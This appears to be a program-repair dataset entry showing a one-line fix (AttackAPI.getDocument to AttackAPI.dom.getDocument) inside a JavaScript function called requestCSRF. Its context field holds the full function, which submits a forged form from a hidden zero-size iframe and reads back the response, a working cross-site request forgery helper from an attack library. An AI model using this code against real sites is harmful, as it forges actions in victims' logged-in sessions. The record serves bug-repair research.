rem: var doc = AttackAPI.getDocument(ifr); 
add: var doc = AttackAPI.dom.getDocument(ifr); 
context: AttackAPI.dom.requestCSRF = function (request) {	var tmr = null;		var ifr = document.createElement('iframe');	ifr.style.visibility = 'hidden';	ifr.style.width = ifr.style.height = 0;		document.body.appendChild(ifr);		var doc = AttackAPI.getDocument(ifr);		var form = document.createElement('form');	form.setAttribute('method', request.method?request.method:'GET');	form.setAttribute('action', request.url);		for (var name in request.query) {		var input = document.createElement('input');		input.setAttribute('name', name);		input.setAttribute('value', request.query[name]);		input.setAttribute('type', 'text');				form.appendChild(input);	}		doc.body.appendChild(form);	ifr.onload = function () {		window.clearTimeout(tmr);				var data = null;				try {			data = AttackAPI.dom.getDocument(ifr).body.innerHTML;		} catch (e) {}				ifr.src = '';		document.body.removeChild(ifr);				if (typeof(request.onload) == 'function')			request.onload({data: data}, request);	};		tmr = window.setTimeout(function () {		document.body.removeChild(ifr);				if (typeof(request.ontimeout) == 'function')			request.ontimeout(request);	}, request.timeout?request.timeout:10000);		form.submit();};
meta: 4546	/local1/tlutelli/issta_data/temp/all_js/javascript/2007_temp/2007/4546/326ebf73deb8a0b427b9a3bc4d406384bdea4a3c/requestCSRF.js/buggy/lib/dom/requestCSRF.js